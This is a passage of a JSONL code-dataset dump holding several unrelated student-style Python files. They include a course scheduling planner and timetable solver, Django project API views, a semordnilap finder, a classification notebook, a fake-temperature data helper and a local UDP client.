class_entry:\r\n\r\n def __init__(self,my_class_name,my_class_number,my_prereqs,my_req_status,my_rank,my_avail):\r\n\r\n self.class_number = my_class_number\r\n\r\n self.class_name = my_class_name\r\n\r\n self.prerequisites = my_prereqs\r\n\r\n self.rank = my_rank\r\n\r\n self.req_status = my_req_status\r\n\r\n self.avail = my_avail\r\n\r\n self.prof_ranking = 0\r\n \r\n self.groupID = -1\r\n \r\n self.id = -1\r\n\r\n def setgroup(self,groupID):\r\n \r\n self.groupID = groupID\r\n\r\n\r\nclass group:\r\n\r\n def __init__(self,group_name,group_number):\r\n\r\n self.name = group_name\r\n\r\n self.optnum = group_number\r\n\r\n self.contents = []\r\n\r\n self.satisfied = self.optnum == 0\r\n\r\n def add(self,course_num):\r\n\r\n self.contents.append(course_num)\r\n\r\n def set_contents(self,course_list):\r\n\r\n self.contents = course_list\r\n\r\n def satisfy(self,course_num):\r\n\r\n self.contents.remove(course_num)\r\n\r\n self.optnum = self.optnum - 1\r\n\r\n self.check()\r\n\r\n def check(self):\r\n\r\n self.satisfied = self.optnum == 0\r\n \r\n \r\nclass map_entry:\r\n \r\n def __init__(self,node,id):\r\n \r\n self.node = node\r\n \r\n self.id = id\r\n \r\n self.mapTo = []\r\n \r\n self.mapFrom = []\r\n\r\n def add(self,entry):\r\n self.mapTo.append(entry) \r\n \r\n\r\n \r\n \r\na = \"\"\"-------------------------------\r\nFUNCTIONS HERE: ------------------------------------------------\r\n\"\"\" \r\n\r\ndef indexc(my_list):\r\n \r\n for ii in range(0,len(my_list)):\r\n \r\n my_list[ii].id = ii\r\n \r\ndef find_class(class_name,master_list):\r\n \r\n for item in master_list:\r\n \r\n if item.class_number == class_name:\r\n \r\n return item.id\r\n \r\n return -1\r\n \r\ndef transform(master_list):\r\n \r\n for item in master_list:\r\n \r\n for ii in range(0,len(item.prerequisites)):\r\n \r\n d = find_class(item.prerequisites[ii],master_list)\r\n \r\n if d==-1: \r\n \r\n print(\"Error: Invalid Prerequisite Name\")\r\n \r\n else:\r\n \r\n item.prerequisites[ii] = d\r\n \r\n \r\ndef create_map(master_list):\r\n \r\n req_map = []\r\n \r\n for ii in range(0,len(master_list)):\r\n \r\n if master_list[ii].prerequisites == []:\r\n \r\n req_map.append(map_entry(True,ii))\r\n \r\n else:\r\n \r\n temp_entry = map_entry(False,ii)\r\n \r\n temp_entry.mapFrom = master_list[ii].prerequisites\r\n \r\n req_map.append(temp_entry)\r\n\r\n\r\n for item in req_map:\r\n \r\n if not item.node:\r\n \r\n for id in item.mapFrom:\r\n \r\n req_map[id].add(item.id)\r\n \r\n for item in req_map:\r\n \r\n for id in item.mapTo:\r\n \r\n item.mapTo += req_map[id].mapTo\r\n \r\n return req_map\r\n \r\n\r\n\r\n\r\n\r\ndef req_up(class_list,group_list,master_list):\r\n \r\n found = False\r\n \r\n for myclass in class_list:\r\n \r\n group_list[master_list[myclass].groupID].optnum -= 1\r\n \r\n group_list[master_list[myclass].groupID].check()\r\n \r\n all_sat = True\r\n \r\n for ij in group_list:\r\n \r\n if not ij.satisfied: all_sat=False\r\n \r\n return all_sat\r\n\r\n\r\n\r\ndef cycle(my_start,my_end):\r\n\r\n quarter_list = []\r\n\r\n # print(my_end.year)\r\n\r\n for ii in range(my_start.year,my_end.year+1):\r\n\r\n\r\n\r\n if(ii==my_start.year): \r\n\r\n for ij in range(my_start.term,4): quarter_list.append(quarter(ii,ij))\r\n\r\n else:\r\n\r\n if(ii==my_end.year):\r\n\r\n for ij in range(1,my_end.term+1): quarter_list.append(quarter(ii,ij))\r\n\r\n else:\r\n\r\n for ij in range(1,4): quarter_list.append(quarter(ii,ij))\r\n\r\n indexc(quarter_list)\r\n\r\n return quarter_list\r\n\r\n\r\n\r\ndef availability(my_string,quarter_list):\r\n\r\n return_list=[]\r\n\r\n years = [2014,2015,2016,2017]\r\n\r\n terms = []\r\n\r\n if(my_string.find('A')==-1):\r\n\r\n cyears = True\r\n\r\n else: cyears = False\r\n\r\n if(my_string.find('F')>=0): terms.append(1)\r\n\r\n if(my_string.find('W')>=0): terms.append(2)\r\n\r\n if(my_string.find('S')>=0): terms.append(3)\r\n \r\n return_list = []\r\n \r\n for my_quarter in quarter_list:\r\n \r\n if (my_quarter.term in terms) and (my_quarter.year in years):\r\n \r\n return_list.append(my_quarter.id)\r\n \r\n return return_list\r\n \r\ndef find_classes(currentq,reqs_satisfied,req_map,index_list,master_list):\r\n \r\n return_list = []\r\n \r\n for my_id in index_list:\r\n \r\n if currentq.id in master_list[my_id].avail:\r\n \r\n if len(set(req_map[my_id].mapFrom).difference(set(reqs_satisfied)))==0:\r\n \r\n return_list.append(my_id)\r\n \r\n return return_list\r\n \r\n \r\ndef dynamic_ranking(found_list,group_list,req_map,master_list):\r\n \r\n for index in found_list:\r\n \r\n my_rank = master_list[index].rank\r\n \r\n temp = master_list[index]\r\n \r\n if not group_list[temp.groupID].satisfied: \r\n \r\n temp.rank += 3\r\n \r\n # my_rank += len(req_map[index].mapFrom)\r\n \r\n print(len(req_map[index].mapFrom))\r\n \r\n if my_rank>10:\r\n \r\n print(\"overflow\")\r\n \r\n my_rank = 10\r\n \r\n \r\n\r\ndef group_up(class_list,group_list):\r\n \r\n for my_class in class_list:\r\n \r\n for groupID in range(0,len(group_list)):\r\n \r\n if my_class.class_number in group_list[groupID].contents:\r\n \r\n my_class.setgroup(groupID)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef trySchedule(master_list,group_list,quarter_list):\r\n \r\n jay = len(quarter_list)\r\n num_classes = 1\r\n reqs_satisfied = []\r\n total_reqs_satisfied = []\r\n major_requirements = False\r\n \r\n \r\n \r\n master_list.append(class_entry(\"Empty\",\"\",[],\"\",0,[]))\r\n \r\n empty_id = len(master_list)-1\r\n \r\n indexc(master_list)\r\n \r\n group_up(master_list,group_list)\r\n \r\n transform(master_list)\r\n \r\n req_map = create_map(master_list)\r\n \r\n \r\n index_list = []\r\n \r\n for item in master_list:\r\n \r\n index_list.append(item.id)\r\n\r\n\r\n for ii in range(0,len(quarter_list)):\r\n\r\n quarter_list[ii].set_num_classes(num_classes)\r\n\r\n\r\n a = \"LOAD CLASSES:\"\r\n \r\n for currentq in quarter_list:\r\n \r\n if currentq.num_classes ==0: continue\r\n \r\n tempy4 = find_classes(currentq,total_reqs_satisfied,req_map,index_list,master_list)\r\n \r\n dynamic_ranking(tempy4,group_list,req_map,master_list)\r\n \r\n\r\n temp_len = len(tempy4)\r\n \r\n if currentq.remaining >= temp_len:\r\n\r\n currentq.add_list(tempy4)\r\n\r\n reqs_satisfied += tempy4\r\n \r\n for my_id in tempy4:\r\n index_list.remove(my_id)\r\n \r\n if currentq.num_classes>temp_len:\r\n \r\n while not currentq.remaining==0:\r\n \r\n currentq.add(empty_id)\r\n\r\n else:\r\n\r\n while not currentq.filled:\r\n\r\n for yy in range(0,11):\r\n ip = 10-yy\r\n\r\n if currentq.filled: break\r\n\r\n for currentClassID in tempy4:\r\n \r\n if master_list[currentClassID].rank > ip:\r\n\r\n currentq.add(currentClassID)\r\n \r\n index_list.remove(currentClassID)\r\n\r\n reqs_satisfied.append(currentClassID)\r\n\r\n if currentq.filled: break\r\n \r\n if currentq.year==2014:\r\n b=\"debug\"\r\n\r\n\r\n if req_up(reqs_satisfied,group_list,master_list): \r\n print(\"Fulfilled!\")\r\n\r\n major_requirements = True\r\n\r\n total_reqs_satisfied += reqs_satisfied\r\n\r\n reqs_satisfied = []\r\n\r\n if major_requirements: return quarter_list\r\n\r\n else: return quarter_list\r\n \r\n\r\n","sub_path":"CoursePlanner/course_objects.py","file_name":"course_objects.py","file_ext":"py","file_size_in_byte":9511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"448838038","text":"from django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom navers.models import Naver, Projeto, NaverProjeto\n\nclass ProjetoView(APIView):\n\n\tpermission_classes = (IsAuthenticated,)\n\n\tdef get(self, request, projeto_id = 0):\n\t\tif projeto_id != 0:\n\t\t\tdata = list(Projeto.objects.filter(id=projeto_id, user_id=request.user.id).values())\n\t\telse:\n\t\t\tdata = list(Projeto.objects.filter(user_id=request.user.id).values())\n\t\tfor d in data:\n\t\t\tnavers = []\n\t\t\tnData = list(NaverProjeto.objects.filter(projeto_id=d['id']).values())\n\t\t\tfor e in nData:\n\t\t\t\tp = list(Naver.objects.filter(id=e['naver_id_id']).values())\n\t\t\t\tif len(p):\n\t\t\t\t\tnavers.append(p)\n\t\t\td['navers'] = navers\n\t\treturn JsonResponse(data, safe=False)\n\n\tdef put(self, request, projeto_id):\n\t\tdata = Projeto.objects.get(id=projeto_id)\n\t\tif 'name' in request.POST:\n\t\t\tdata.name = request.POST['name']\n\t\tdata.save()\n\t\tdata = list(Projeto.objects.filter(id=projeto_id).values())\n\t\tfor d in data:\n\t\t\tnavers = []\n\t\t\tnData = list(NaverProjeto.objects.filter(projeto_id=d['id']).values())\n\t\t\tfor e in nData:\n\t\t\t\tp = list(Projeto.objects.filter(id=e['id']).values())\n\t\t\t\tif len(p):\n\t\t\t\t\tnavers.append(p)\n\t\t\td['navers'] = navers\n\t\treturn JsonResponse(data, safe=False)\n\n\tdef post(self, request):\n\t\tdata = Projeto()\n\t\tif 'name' in request.POST:\n\t\t\tdata.name = request.POST['name']\n\t\tdata.user_id = request.user.id\n\t\tdata.save()\n\t\tlast = Projeto.objects.last().id\n\t\tdata = list(Projeto.objects.filter(id=last).values())\n\t\treturn JsonResponse(data, safe=False)\n\n\tdef delete(self, request, projeto_id):\n\t\tdata = Projeto.objects.get(id=projeto_id, user_id=request.user.id)\n\t\tdata.delete()\n\t\treturn HttpResponse('deleted')","sub_path":"projetos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"294576111","text":"#!/usr/bin/env python3\n''' exercise 33. According to Wikipedia, a semordnilap is a word or phrase that spells a different word or phrase backwards. (\"Semordnilap\" is itself \"palindromes\" spelled backwards.) Write a semordnilap recogniser that accepts a file name (pointing to a list of words) from the user and finds and prints all pairs of words that are semordnilaps to the screen. For example, if \"stressed\" and \"desserts\" is part of the word list, the the output should include the pair \"stressed desserts\". Note, by the way, that each pair by itself forms a palindrome!\n'''\n\ndef reverse(word): # To be able to check for the reverse of the word.\n return word[::-1]\n\ndef list_of_lines(filename): # Using a list to loop over the lines.\n output_list = []\n with open(filename, 'r') as file:\n for line in file:\n output_list.append(line[:-1])\n file.close\n return output_list\n\ndef semordnilap_recogniser(filename): # Returns the words in a list.\n output_list = []\n list_of_words = list_of_lines(filename)\n for index_word_one in range(len(list_of_words)):\n for index_word_two in range(len(list_of_words)):\n if reverse(list_of_words[index_word_one]) == list_of_words[index_word_two] and index_word_one < index_word_two:\n output_list.append(list_of_words[index_word_one] + ' ' + list_of_words[index_word_two])\n return output_list\n","sub_path":"exercise33.py","file_name":"exercise33.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"270898840","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n\nimport pandas as pd\nimport numpy as np\n\n\n# In[3]:\n\n\nmy_data = pd.read_csv(\"data1.csv\", delimiter=\",\")\n#reading the dataset using pandas\n\n\n# In[4]:\n\n\nmy_data.shape\n#finding initial shape\n\n\n# In[5]:\n\n\n\nmydata1=my_data.replace(np.NaN,0)\n\n\n# In[6]:\n\n\nmydata1\n#new shape\n\n\n# In[7]:\n\n\n\ndummie_var=pd.get_dummies(mydata1,columns=['game_season','area_of_shot','shot_basics','range_of_shot','date_of_game','home/away','lat/lng','type_of_shot','type_of_combined_shot'],drop_first=True)\n#creating dummy variables as the machine learning algorithms do not work for categorical variables and have to work with only numeric values\n\n\n# In[8]:\n\n\n\nmydata1=pd.concat([mydata1,dummie_var],axis=1)\n#concatenating the output with the original data frame\n\n\n# In[9]:\n\n\n\nmydata1.drop(['game_season','area_of_shot','shot_basics','range_of_shot','date_of_game','home/away','lat/lng','type_of_shot','type_of_combined_shot','team_name'],axis=1,inplace=True)\n#dropping the columns having categorical values\n\n\n# In[10]:\n\n\n\nmydata1.head(5)\n#display\n\n\n# In[11]:\n\n\nmydata1.isnull()\n#finding where the other null values are\n\n\n# In[12]:\n\n\n#since there are many other null values the null values are replaced by the mean of those values in some columns.\nmean=mydata1['match_event_id'].mean()\nmydata1['match_event_id'].replace(0,mean)\n\n\n# In[13]:\n\n\n\nmean1=mydata1['location_x'].mean()\nmydata1['location_x'].replace(0,mean1)\n\n\n# In[14]:\n\n\nmean2=mydata1['location_y'].mean()\nmydata1['location_y'].replace(0,mean2)\n\n\n# In[15]:\n\n\n\nmean3=mydata1['remaining_min'].mean()\nmydata1['remaining_min'].replace(0,mean3)\n\n\n# In[16]:\n\n\n\nmean4=mydata1['power_of_shot'].mean()\nmydata1['power_of_shot'].replace(0,mean4)\n\n\n# In[17]:\n\n\n\nmydata1['knockout_match'].replace(0,0)\n#since many of the matches he plays are league matches it is safe to consider the knockout match as 0 where there is no value\n\n\n# In[18]:\n\n\n\ny = mydata1.loc[:,['is_goal']]\ny[0:5]\n\n\n# In[19]:\n\n\n\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import train_test_split\n\n\n\n# In[20]:\n\n\n\nX, y = make_classification(n_informative=10, n_samples=80000)\nXtrain, Xtest, ytrain, ytest = train_test_split(X, y)\n\n\n# In[21]:\n\n\n\nclf = DecisionTreeClassifier(max_depth=5)\nclf.fit(Xtrain, ytrain)\n\n\n# In[50]:\n\n\n\nis_goal1=clf.predict_proba(Xtest)\nis_goal1\n\n\n# In[51]:\n\n\nfrom sklearn.utils import check_array\nfrom sklearn.tree.tree import DTYPE\ndef get_node(X):return clf.tree_.apply(check_array(X, dtype=DTYPE))\n\n\n# In[52]:\n\n\nfor i in range(len(is_goal1)):\n print (is_goal1[i])\n\n\n# In[53]:\n\n\na = np.array(is_goal1)\nb = a.ravel()\nb\n\n\n# In[54]:\n\n\nimport pandas as pd\ndf1=pd.DataFrame(b)\ndf1\n\n\n# In[55]:\n\n\n\ndf1.to_csv('Venkat_Raghavan_021498_code.csv')\n\n\n# In[56]:\n\n\nimport pandas as pd\n\n\n# In[57]:\n\n\ndf2=pd.read_csv('Venkat_Raghavan_021498_code.csv')\n\n\n# In[58]:\n\n\ndf3=pd.read_csv('sample_submission.csv')\n\n\n# In[60]:\n\n\nlist=df2['0']\n\n\n# In[61]:\n\n\nlist\n\n\n# In[67]:\n\n\nlist1 = list[df3.shot_id_number]\n\n\n# In[68]:\n\n\nlist1\n\n\n# In[69]:\n\n\nlist1.to_csv('Venkat_Raghavan_021498_code_2.csv')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Data science project.py","file_name":"Data science project.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"450631876","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Mar 9 20:13:14 2020\r\n\r\n@author: Morgan\r\n\"\"\"\r\nimport copy\r\nimport time\r\n\r\n\r\ndef inputfile (filename):\r\n \"\"\"\r\n I need to sort the class list from the earliest to latest\r\n To prvent clogging the DFS \r\n \r\n \r\n \"\"\"\r\n classdict = {}\r\n with open(filename, 'r') as f:\r\n for line in f: \r\n \r\n try:\r\n temp = line.replace(',', ' ')\r\n temp = temp.split()\r\n \r\n if len(temp) == 5:\r\n time = course(temp[0],int(temp[1]), int(temp[2]), int(temp[3]), int(temp[4]))\r\n name = temp[0]\r\n if name not in classdict:\r\n classdict[name] = [time]\r\n else:\r\n classdict[name] += [time]\r\n elif len(temp) == 8:\r\n time1 = course(temp[0],int(temp[1]), int(temp[2]), int(temp[3]), int(temp[7]))\r\n time2 = course(temp[0],int(temp[4]), int(temp[5]), int(temp[6]), int(temp[7]))\r\n name = temp[0]\r\n if name not in classdict:\r\n classdict[name] = [[time1,time2]]\r\n else:\r\n classdict[name] += [[time1,time2]]\r\n elif temp == []:\r\n pass\r\n else:\r\n raise ValueError\r\n except:\r\n raise Exception(\"Error in user input!! Please check the format!!\")\r\n \r\n \r\n return classdict\r\n\r\n\r\nclass course(object):\r\n def __init__ (self, name, start, end, weekday, sem):\r\n \"\"\"\r\n \r\n start or end: in the form of 1430\r\n weekday: 0 = Mon, 1 = Tue etc\r\n sem: 1 or 2\r\n \r\n \"\"\"\r\n self.start = start\r\n self.end = end\r\n self.weekday = weekday\r\n self.sem = sem\r\n self.name = name\r\n \r\n #realstart or end is in minute form \r\n #it is used to aid further caculation\r\n self.realstart = (start//100)*60 + (start%100)\r\n self.realend = (end//100)*60 + (end%100)\r\n \r\n def get_start(self):\r\n return self.start\r\n \r\n def get_end(self):\r\n return self.end\r\n \r\n def get_name(self):\r\n return self.name\r\n \r\n def get_realstart(self):\r\n return self.realstart\r\n \r\n def get_realend(self):\r\n return self.realend\r\n \r\n def get_weekday(self):\r\n return self.weekday\r\n \r\n def get_sem(self):\r\n return self.sem\r\n \r\n def timecrash(self, other):\r\n \"\"\"\r\n This function do not take the semester and weekday into account\r\n \r\n \r\n \"\"\"\r\n myrange = range (self.get_realstart(), self.get_realend())\r\n otherrange = range (other.get_realstart(), other.get_realend())\r\n \r\n if self.get_realstart() == other.get_realend() or other.get_realstart() == self.get_realend():\r\n pass \r\n else:\r\n if self.get_realend() in otherrange or self.get_realstart() in otherrange:\r\n raise ValueError\r\n \r\n if other.get_realend() in myrange or other.get_realstart() in myrange:\r\n raise ValueError\r\n \r\n def timediff(self, other):\r\n \"\"\"\r\n This function find the time difference between target and self\r\n \r\n return: minute\r\n \"\"\" \r\n diff1 = self.get_realstart() - other.get_realend()\r\n diff2 = self.get_realend() - other.get_realstart()\r\n \r\n return min(abs(diff1), abs(diff2))\r\n \r\n def __str__(self):\r\n weekdaydict = {0:'Mon',1:'Tue',2:'Wed',3:'Thur',4:'Fri',5:'Sat',6:'Sun'}\r\n weekday = weekdaydict[self.get_weekday()]\r\n return str(self.get_name()) +\": \"+ str(self.get_start()) + \" -> \" + str(self.get_end()) + \" (\" + weekday + \") in sem \" + str(self.get_sem())\r\n \r\n def __len__(self):\r\n return 1\r\n \r\n\r\ndef sort_timelist(OG_list, courseX):\r\n \"\"\"\r\n This function sort the class_list (OG_list) from earliest to latest\r\n \"\"\"\r\n for i in range(len(OG_list)):\r\n temp = OG_list[i]\r\n if courseX.get_realend() <= temp.get_realstart():\r\n return OG_list[:i] + [courseX] + OG_list[i:]\r\n \r\n return OG_list + [courseX]\r\n\r\ndef timelist_diff(OG_list, courseX):\r\n \"\"\"\r\n This function return the time difference of the OG_list and the newly list w/ courseX\r\n \r\n return: +ve int or -ve int\r\n \r\n \"\"\"\r\n \r\n OG_time = 0\r\n new_time = 0 \r\n \r\n if len(OG_list) >= 2:\r\n for i in range(len(OG_list)-1):\r\n OG_time += OG_list[i].timediff(OG_list[i+1]) \r\n \r\n \r\n newlist = sort_timelist(OG_list,courseX)\r\n \r\n for i in range(len(newlist)-1):\r\n new_time += newlist[i].timediff(newlist[i+1])\r\n \r\n return new_time - OG_time\r\n \r\n \r\n \r\n\r\ndef printlist(OG_list):\r\n text = ''\r\n for course in OG_list:\r\n text += (str(course)+ '\\n')\r\n return text\r\n # print(course)\r\n\r\n\r\nclass timetable(object):\r\n def __init__(self):\r\n self.sem1 = {0:[], 1:[], 2:[], 3:[], 4:[], 5:[], 6:0}\r\n self.sem2 = {0:[], 1:[], 2:[], 3:[], 4:[], 5:[], 6:0}\r\n self.history = []\r\n self.dayoff_sem1 = [0,1,2,3,4,5]\r\n self.dayoff_sem2 = [0,1,2,3,4,5]\r\n\r\n def get_sem1(self):\r\n return self.sem1\r\n \r\n def get_sem2(self):\r\n return self.sem2\r\n \r\n def get_history(self):\r\n return self.history\r\n \r\n def get_dayoff_sem1(self):\r\n return self.dayoff_sem1\r\n \r\n def get_dayoff_sem2(self):\r\n return self.dayoff_sem2\r\n \r\n def get_lendayoff(self):\r\n return len(self.dayoff_sem1) + len(self.dayoff_sem2)\r\n \r\n \r\n def add(self,timetable ,courseX, sem):\r\n \r\n day = timetable[courseX.get_weekday()]\r\n history = self.get_history()\r\n dayofflist1 = self.dayoff_sem1\r\n dayofflist2 = self.dayoff_sem2\r\n \r\n for c in day: #This check if the courseX timecrash with courses in timetable!!\r\n courseX.timecrash(c)\r\n \r\n timetable[6] += timelist_diff(day,courseX) #This offset the time difference between lesson\r\n history += [courseX] #This add the courseX into the timetable\r\n \r\n \r\n if not day and sem == 1: #This decrease the dayoff counter\r\n dayofflist1.remove(courseX.get_weekday())\r\n elif not day and sem == 2: #This decrease the dayoff counter\r\n dayofflist2.remove(courseX.get_weekday())\r\n \r\n day = sort_timelist(day, courseX) #This turn the sort that day schdule \r\n timetable[courseX.get_weekday()] = day\r\n \r\n return timetable\r\n \r\n \r\n \r\n def addcourse(self,courseX):\r\n if courseX.get_sem() == 1:\r\n return self.add(self.get_sem1(), courseX, 1)\r\n \r\n elif courseX.get_sem() == 2:\r\n return self.add(self.get_sem2(), courseX, 2)\r\n \r\n def __len__(self):\r\n return (self.get_sem1()[6] + self.get_sem2()[6])\r\n \r\n \r\n \r\n\r\ndef printtimetable(timetable):\r\n \"\"\"\r\n This function print out the timetable in a readable formate\r\n \r\n \"\"\"\r\n text = \"-----------------\\nLoading... \\nSem 1 time table:\\n\"\r\n \r\n sem1 = timetable.get_sem1()\r\n sem2 = timetable.get_sem2()\r\n for i in range(6):\r\n if sem1[i]:\r\n text += '\\n'\r\n text += str(printlist(sem1[i]))\r\n \r\n text += '\\n'\r\n text += (\"There are in total %s minute(s) between lessons\\n\" %sem1[6])\r\n \r\n text += '-----------------\\nSem 2 time table: \\n'\r\n \r\n \r\n for i in range(6):\r\n if sem2[i]:\r\n text += '\\n'\r\n text += str(printlist(sem2[i])) \r\n \r\n \r\n text += '\\n'\r\n text += (\"There are in total %s minute(s) between lessons\\n-----------------\\n\" %sem2[6])\r\n \r\n return text\r\n \r\ndef DFS(graph, classlist, shortest, path = timetable(), dayoff_mode = False):\r\n \"\"\"\r\n This algorithm assume you must select all the class you inputed!!!\r\n \r\n \r\n graph: {class name: [opt1, opt2], etc..}\r\n classlist: just a list of class name\r\n shortest: the timetable with the least time diff between lesson\r\n path: current timetable \r\n dayoff_mode: prioritise dayoff\r\n \r\n \"\"\"\r\n if not classlist:\r\n return path\r\n \r\n for time in graph[classlist[0]]:\r\n temp = copy.deepcopy(path)\r\n \r\n try: \r\n if len(time) == 1:\r\n temp.addcourse(time)\r\n else:\r\n for c in time:\r\n temp.addcourse(c) \r\n \r\n if not dayoff_mode or shortest == None or shortest.get_lendayoff() < temp.get_lendayoff():\r\n newpath = DFS(graph, classlist[1:], shortest, temp)\r\n \r\n if newpath != None and (shortest == None or len(shortest) > len(newpath)):\r\n shortest = newpath \r\n \r\n except:\r\n pass\r\n #this prevent the timecrashed timetable to go any further!!!\r\n \r\n return shortest\r\n \r\n\r\n\r\ndef couretime(timetable):\r\n \"\"\"\r\n This function can print out the course inputed\r\n with respect to the time\r\n \r\n timetable: custom object\r\n \r\n return: a nice string\r\n \r\n \"\"\"\r\n history = timetable.get_history()\r\n text = ''\r\n for c in history: \r\n text += (str(c) + '\\n')\r\n return text\r\n \r\n \r\n \r\ndef basicsorting(filename):\r\n \"\"\"\r\n This basically called all the functioned used\r\n \r\n filename: input.txt\r\n \r\n return: a nice print out of the sorted timetable\r\n \r\n \"\"\"\r\n try:\r\n graph = inputfile(filename)\r\n classlist = list(graph.keys())\r\n timetable = DFS(graph, classlist, None)\r\n \r\n \r\n text = str(printtimetable(timetable))\r\n text += 'Following is the selected class:\\n\\n' \r\n text += couretime(timetable)\r\n text += '\\n-----------------\\n'\r\n return text\r\n \r\n except AttributeError:\r\n error_text = \"The classes is not compatible\\nPlease check the input again.\"\r\n return error_text\r\n \r\n except Exception:\r\n error_text = \"Error in user input!!\\nPlease check the format and press the button again.\"\r\n return error_text\r\n\r\ndef dayoffsorting(filename):\r\n \"\"\"\r\n This basically called all the functioned and prioritize day-off\r\n \r\n filename: input.txt\r\n \r\n return: a nice print out of the sorted timetable\r\n \r\n \"\"\"\r\n weekdaydict = {0:'Mon',1:'Tue',2:'Wed',3:'Thur',4:'Fri',5:'Sat',6:'Sun'}\r\n try:\r\n graph = inputfile(filename)\r\n classlist = list(graph.keys())\r\n TT = DFS(graph, classlist, None, timetable(), True)\r\n \r\n text = str(printtimetable(TT))\r\n text += 'Following is the selected class:\\n\\n' \r\n text += couretime(TT)\r\n text += \"\\nSo you will get in total \" + str(TT.get_lendayoff()) +\" day(s) off\"\r\n \r\n \r\n if len(TT.get_dayoff_sem1()) != 0:\r\n text += '\\n>> In sem 1: '\r\n for c in TT.get_dayoff_sem1(): \r\n \r\n text += ('(' + weekdaydict[c] + ') ')\r\n \r\n \r\n if len(TT.get_dayoff_sem2()) != 0:\r\n text += '\\n>> In sem 2: '\r\n for c in TT.get_dayoff_sem2(): \r\n text += ('(' + weekdaydict[c] + ') ')\r\n text += '\\n>> Are the off day(s)\\n-----------------'\r\n return text\r\n \r\n except AttributeError:\r\n error_text = \"The classes is not compatible\\nPlease check the input again.\\n\"\r\n return error_text\r\n \r\n except Exception:\r\n error_text = \"Error in user input!!\\nPlease check the format and press the button again.\"\r\n return error_text\r\n \r\n#-----------------------\r\n#Test case \r\n\r\n# a = course(\"E1\",1100,1230,1,1)\r\n\r\n# b = course(\"CC\",1330,1420,1,1)\r\n# c = course(\"CC\",1430,1800,2,1)\r\n\r\n# d = course(\"E2\",1700,1800,1,1)\r\n# e = course(\"E2\",1800,1900,1,1)\r\n\r\n# f = course(\"E3\",2000,2030,1,1)\r\n# g = course(\"E3\",1430,1700,1,1)\r\n\r\n# graph = {\"CC\":[[c,b]], \"E1\":[a],\"E2\":[d,e],\"E3\":[f,g],\"E4\":[a]}\r\n# classlist = ['E3',\"CC\",'E1','E2']\r\n\r\n# test = DFS(graph, classlist, None)\r\n# print('-----------------')\r\n# print('Loading...')\r\n# printtimetable(test)\r\n# print('-----------------')\r\n# print('The following is selected course:')\r\n# couretime(test)\r\n\r\n#----------------------\r\n#loading animation (No in use)\r\n\r\n# while animetimer != 6:\r\n# anime = \"|/—\\\\\"\r\n# for i in anime:\r\n# time.sleep(0.1)\r\n# print('loading ...' + i)\r\n# animetimer += 1\r\n\r\n# \r\n#---------------------- \r\n# print(basicsorting('input.txt'))\r\n# print('')\r\n# print('')\r\n# print(dayoffsorting('input.txt')) \r\n# print('You can now exit this window')\r\n# input()\r\n\r\n\r\n# graph = inputfile(\"test.txt\")\r\n# classlist = list(graph.keys())\r\n# timetable = DFS(graph, classlist, None) \r\n# print(timetable)\r\n\r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"new_algs/Sequence+algorithms/Selection+algorithm/course_selection_redux.py","file_name":"course_selection_redux.py","file_ext":"py","file_size_in_byte":13405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"242891349","text":"\"\"\"\n Data for database demonstrations\n\"\"\"\nimport numpy as np\n\ndef get_pickle_data():\n \"\"\"\n demonstration data\n \"\"\"\n header = ['Thermocouple_1', 'Thermocouple_2', 'Thermocouple_3',\n 'Ambient_1', 'Ambient_2' , 'GPU_Tcase', 'VR_FET_1', 'VR_FET_2']\n typical = [53., 66., 83., 23., 22.7, 87.1, 95.3, 98.1]\n data = []\n data.append(header)\n for i in range(len(header)):\n temperatures = np.round(np.random.normal(typical[i], 1.5, 25), 2)\n data.append(temperatures)\n return data\n","sub_path":"students/roy_t/lesson08/nosql/src/pickle_temp_data.py","file_name":"pickle_temp_data.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"107753623","text":"import socket\r\nimport time\r\nimport datetime\r\n\r\nclass AuvClient:\r\n def __init__(self, destination):\r\n self.UDP_IP = '127.0.0.1'\r\n self.UDP_PORT = 0 # mean random port\r\n\r\n self.dest = destination\r\n\r\n self.sock = socket.socket(socket.AF_INET,\r\n socket.SOCK_DGRAM)\r\n self.sock.bind((self.UDP_IP, self.UDP_PORT))\r\n\r\n def send(self, data):\r\n self.sock.sendto(data, self.dest)\r\n\r\n def recv(self):\r\n return self.sock.recvfrom(1024)\r\n\r\n\r\n# main:\r\n\r\nnumber = 0\r\nclient = AuvClient(('127.0.0.1', 5005))\r\nwhile True:\r\n number += 1\r\n print(\"Client\", end=\" | \")\r\n print(datetime.datetime.now(), end=\" | \")\r\n print(\"destination: \", client.dest, end=\" | \")\r\n data = \"data: \" + str(number)\r\n client.send(data.encode())\r\n print(\"data: '\", data,\"'\")\r\n\r\n time.sleep(0.5)\r\n\r\n ","sub_path":"client/server_fake/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"459913830","text":"#!/usr/bin/env python3\n\nimport random\nimport time\n\narticles = [\"the\", \"a\"]\nsubjects = [\"cat\", \"dog\", \"man\", \"woman\"]\nverbs = [\"sang\", \"ran\", \"jumped\"]\nadverbs = [\"loudly\", \"quietly\", \"well\", 